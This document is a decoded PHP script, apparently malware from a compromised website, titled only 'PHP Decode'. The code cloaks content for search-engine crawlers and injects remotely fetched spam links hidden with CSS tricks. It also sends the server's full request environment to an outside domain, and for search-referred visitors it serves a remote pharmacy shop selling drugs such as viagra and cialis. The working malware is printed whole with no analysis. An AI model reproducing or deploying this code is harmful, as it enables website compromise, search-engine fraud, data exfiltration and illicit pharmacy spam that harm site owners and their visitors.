PHP Decode

@error_reporting(0);
$client_ip = array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : '';
if(!$client_ip) 
	$client_ip=$_SERVER["REMOTE_ADDR"];
$client_ip = preg_replace('/.*unknown,\s*/', '', $client_ip);

define('originalip',	$client_ip);
define('cdomain',		"ssl-backup24.com");
define('rdomain',		"ssl-check24.com");
define('gt_php',		"gt.php");
define('showop_php',	"showop.php");
define('redir_php',	"redir.php");
define('info_php',		"info.php");
define('shop_php', 	'show_shop.php');



if(array_key_exists('HTTP_TEST', $_SERVER))	{
	echo(md5("TEST2011NG-HTSHOP"));
	exit;
}

function fetch_url($url)    {
        if( function_exists('file_get_contents') && ini_get('allow_url_fopen'))
                $content =file_get_contents($url);
        elseif( function_exists('curl_init')){
                $c = curl_init();
                curl_setopt($c, CURLOPT_URL, $url);
                curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
                $out = curl_exec($c);
                curl_close($c);
                $content = $out;
        }
        else{
                if(!preg_match('/^http(s){0,1}:\/\/(.*?)\//', $url, $matches))    {
                        return('');
                }
                $domain = $matches[2];
                $fp = fsockopen($domain, 80, $errno, $errstr, 30);
                if(!$fp)    
                        return('');
                $req = "GET $url HTTP/1.0

";
                fwrite($fp, $req);
                $out = '';
                while(!feof($fp))    {
                        $out .= fgets($fp, 256);
                }
                $content = substr($out, strpos($out, "

")+4);
        }
        return($content);
}

if(!array_key_exists('HTTP_USER_AGENT', $_SERVER))
	$_SERVER['HTTP_USER_AGENT'] = '';

$page=urlencode("http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]);

if(!defined('FCONTENT_PROC') && preg_match("/Googlebot|bingbot|Slurp/", $_SERVER["HTTP_USER_AGENT"])){
	define('FCONTENT_PROC',1);

	$outsourceurl="http://".cdomain."/".showop_php."?page=$page&version=2011nght";

	// trying to get doorway
	$out=fetch_url($outsourceurl);
	$out=preg_replace('/<script.*?<\/script>/s', '', $out);
	
	if(substr($out, 0, 32) == '8d777f385d3dfec8815d20f7496026dc')	{
		$extra_info = unserialize(base64_decode(substr($out, 32)));
		if(array_key_exists('headers', $extra_info))
			foreach($extra_info['headers'] as $h => $code)
				header($h, true, $code);
		if(array_key_exists('content', $extra_info))
			echo($extra_info['content']);
		if(array_key_exists('sendinfo', $extra_info))	{
			$data = base64_encode(serialize(array('file' => __FILE__, 'line' => __LINE__, 'server' => $_SERVER)));
			$outsourceurl="http://".cdomain."/".info_php."?data=$data";
			fetch_url($outsourceurl);
		}
		if(array_key_exists('stop', $extra_info))
			exit;
	}

	if ($out!="" and $out!="1" and !preg_match('/^\s+$/s', $out)) { // doorway exists
		header('Cache-Control: no-cache, no-store, must-revalidate');
		print $out;
		exit;
	}
	
	$outsourceurl = "http://".cdomain."/".gt_php."?site=".urlencode($_SERVER['HTTP_HOST']).'&page='.urlencode($_SERVER['REQUEST_URI']).'&ip='.urlencode(originalip).'&agent='.urlencode($_SERVER['HTTP_USER_AGENT']);
	$links_content = base64_decode(preg_replace('/<script.*?<\/script>/s', '', fetch_url($outsourceurl)));
	
	$originalurl="http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"];
	$originalpage = fetch_url($originalurl);
	
	if(preg_match("/<a.*?>/is", $originalpage))	{
		preg_match_all("/<a.*?>.*?<\/a>/is", $links_content, $matches);
		$links = $matches[0];
		$comment = '';
		if(preg_match("/<!--.*?-->/s", $links_content, $matches))
			$comment = $matches[0];
		function anchor($data)	{
			if(!preg_match("/<img/i", $data[2])) 
				return "<!-- link_".$GLOBALS['i']++." -->".$data[0];
		}
		srand(crc32($originalurl));
		for ($class_name = '', $i = 0, $z = strlen($a = 'abcdefghijklmnopqrstuvwxyz0123456789')-1; $i != 8; $x = rand(0,$z), $class_name .= $a{$x}, $i++); 
		$GLOBALS['i'] = 0;
		$originalpage = preg_replace_callback("/<a(.*?)>(.*?)<\/a>/is", "anchor", $originalpage);
		$i = $GLOBALS['i'];
		if($i >= count($links))	{
			for($k=0;$k<count($links);$k++)	{
				$links[$k] = preg_replace("/<a/", "<a class='$class_name'", $links[$k]);
				$originalpage = preg_replace("/<!-- link_$k -->/s", $links[$k]. ' ', $originalpage );
			}
		}
		else {
			$n_links = round(count($links)/$i);
			for($k=0;$k<$i;$k++)	{
				$out_content = '';
				for($p=0;$p<$n_links;$p++)
					if(($k*$n_links+$p) < count($links))	{
						$links[$k*$n_links+$p] = preg_replace("/<a/i", "<a class='$class_name'", $links[$k*$n_links+$p]);
						$out_content .= $links[$k*$n_links+$p];
					}
					$originalpage = preg_replace("/<!-- link_$k -->/s", $out_content. ' ', $originalpage );
			}
		}
		$originalpage = preg_replace("/<!-- link_(\d+) -->/s", '', $originalpage);
		$hide_methods = array("display: none", "visibility: hidden", "text-indent:5000px", "position: absolute; left: 7000px; top: 0px", "position:absolute; left:4000px");
		$css = $hide_methods[array_rand($hide_methods)];
		if(preg_match("/<head/i", $originalpage))	{
			$originalpage = preg_replace("/(<head.*?>)/i", "$1$comment
<style>
.$class_name	{
	$css;
}
</style>", $originalpage);
		}
		elseif(preg_match("/<html/i", $originalpage))	{
			$originalpage = preg_replace("/(<html.*?>)/i", "$1$comment
<style>
.$class_name	{
	$css;
}
</style>", $originalpage);
		}
		else
			$originalpage = preg_replace("/^/", "$comment<style>
.$class_name	{
	$css;
}
</style>", $originalpage);
	}
	else {
		if (preg_match('/<body.*?>/i',$originalpage)) {
			$originalpage=preg_replace('/href=([\'"]{0,1})http.*?>/i', '>', $originalpage);
			$originalpage=preg_replace('/(<body.*?>)/i', "$1$links_content", $originalpage, 1);
		} 
		elseif (preg_match('/<\/body>/i',$originalpage)) {
			$originalpage=preg_replace('/href=([\'"]{0,1})http.*?>/i', '>', $originalpage);
			$originalpage=preg_replace('/(<\/body>)/i', "$links_content$1", $originalpage, 1);
		}
	}
	header('Cache-Control: no-cache, no-store, must-revalidate');
	header('Pragma: no-cache');
	print $originalpage;
	exit;	
}


$niche = false;

if(isset($_SERVER["HTTP_REFERER"]) && preg_match('/live|msn|bing|yahoo|google|aol/',  $_SERVER["HTTP_REFERER"]) && !preg_match("/^(000000000000)/", originalip)) {
	if(array_key_exists('HTTP_CHECKER', $_SERVER) && $_SERVER['HTTP_CHECKER'] == '9bcf0edc75944b260de8279d7a6d8174')
		$page = base64_encode($_SERVER['HTTP_CHECKER']);
	else
		$page = base64_encode("http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]);
	$tabs = array ('viagra','cialis','levitra','propecia','prozac','xenical','zoloft','tamiflu','sildenafil','tadalafil','vardenafil','finasteride','hoodia','acomplia');
	
	foreach($tabs as $tab)	 {
		if(preg_match("/$tab/i", $_SERVER["HTTP_REFERER"]))	{
			$niche = $tab;
		}
	}
	$tag = $_SERVER["HTTP_HOST"];
	if(preg_match("/^www\./", $tag))
		$tag = preg_replace( "/^www\.(.*)$/", "$1", $tag);
	$tag = substr(strtolower(base64_encode($tag)), 0, 5);
	if(preg_match("/$tag/", $_SERVER["REQUEST_URI"]))
		 $niche = 'nch';
}
	
if(preg_match('/viagra|cialis|levitra|tadalafil|sildenafil|vardenafil/i', $_SERVER["REQUEST_URI"]) or $niche)   {
	$server = base64_encode(serialize($_SERVER));
	$outsourceurl="http://".cdomain."/".shop_php."?server=$server";
	$shop = fetch_url($outsourceurl);
	if($shop)	{
		echo($shop);
		exit();
	}
}


$originalurl="http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"];
$originaluseragent=$_SERVER["HTTP_USER_AGENT"];
$originalpage = fetch_url($originalurl);
header('Cache-Control: no-cache, no-store, must-revalidate');
header('Pragma: no-cache');
print $originalpage;